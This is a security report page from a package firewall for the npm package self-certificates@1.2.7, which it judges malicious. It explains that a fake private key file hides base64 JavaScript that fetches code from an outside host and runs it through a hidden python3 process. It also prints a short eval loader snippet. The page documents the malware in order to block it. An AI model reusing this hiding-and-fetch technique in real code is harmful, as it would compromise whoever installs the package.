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canonical: "https://firewall.lpm.dev/npm/self-certificates/v/1.2.7"
markdown: "https://firewall.lpm.dev/npm/self-certificates/v/1.2.7.md"
package: "self-certificates"
report_status: "published"
title: "self-certificates@1.2.7 npm security report"
verdict: "malicious"
version: "1.2.7"
---

# self-certificates@1.2.7 npm security report

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## Verdict summary
**Blocked & quarantined** — Quarantined by product-default policy — this version is not allowed through the firewall.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.2.7
- **Selected version is latest:** No
- **Analysis source:** OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV advisory MAL-2026-14543 confirms this npm version as malicious. Package advertised as a self-signed TLS certificate generator ships a fake RSA private key at test/key.pem whose body, once the PEM headers are stripped and the middle is base64-decoded, is JavaScript that calls fetch('https://aptupdate.org/settings/privacy.php') and pipes the response into a detached, window-hidden python3 process via spawn('python3', \['-'\], {detached:true, windowsHide:true}) with...

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 100.0%
- **Started:** 2026-08-27T04:15:04.123Z
- **Finished:** 2026-08-27T04:15:04.647Z
- **Download time:** 508 ms
- **Static scan time:** 15 ms
- **AI review time:** Not available
- **Total time:** 524 ms

## Security analysis

No additional public attack-surface or AI-review details are available.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/self-certificates@1.2.7/index.js>)

Package source references a known benign dynamic code generation pattern.

Public source snippet (untrusted):

```javascript
L38: const data = Buffer.from(portion, 'base64');
L39: eval(data.toString('utf8'));
L40: return data;
```

### 3. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 4. Medium: Ships Compressed Blob
- **Category:** Artifact Inventory
- **Confidence:** 70.0%
- **Path:** self-certificate-1.1.0.tgz
- **Public source:** [View source](<https://unpkg.com/self-certificates@1.2.7/self-certificate-1.1.0.tgz>)

Package ships compressed or archive-like blobs.

Public source snippet (untrusted):

```text
path = self-certificate-1.1.0.tgz
kind = compressed_blob
sizeBytes = 3899
magicHex = [redacted]
```

### 5. Low: Nested Archive Needs Inspection
- **Category:** Artifact Inventory
- **Confidence:** 80.0%
- **Path:** self-certificate-1.1.0.tgz
- **Public source:** [View source](<https://unpkg.com/self-certificates@1.2.7/self-certificate-1.1.0.tgz>)

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

Public source snippet (untrusted):

```text
path = self-certificate-1.1.0.tgz
kind = nested_archive_needs_inspection
sizeBytes = 3899
magicHex = [redacted]
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** self-certificates
- **Ecosystem:** npm
- **Version:** 1.2.7
- **License:** MIT
- **Version published:** 2026-08-26T18:55:11.102Z
- **Package first seen:** 2026-08-27T04:15:04.647Z
- **Package last seen:** 2026-08-27T04:15:04.647Z
- **Known versions:** 25
- **Latest version:** 1.2.9
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/self-certificates/v/1.2.7>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-14543>)
- [ADVISORY](<https://github.com/advisories/GHSA-rwg4-cx82-h5hq>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.1.2>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.2.5>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.2.3>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.1.9>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.0.9>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.1.1>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.0.2>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.2.2>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.1.7>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.0.5>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.0.8>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.2.6>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.2.8>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.0.6>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.2.4>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.1.4>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.1.3>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.1.8>)
- [PACKAGE](<https://www.npmjs.com/package/self-certificates/v/1.2.9>)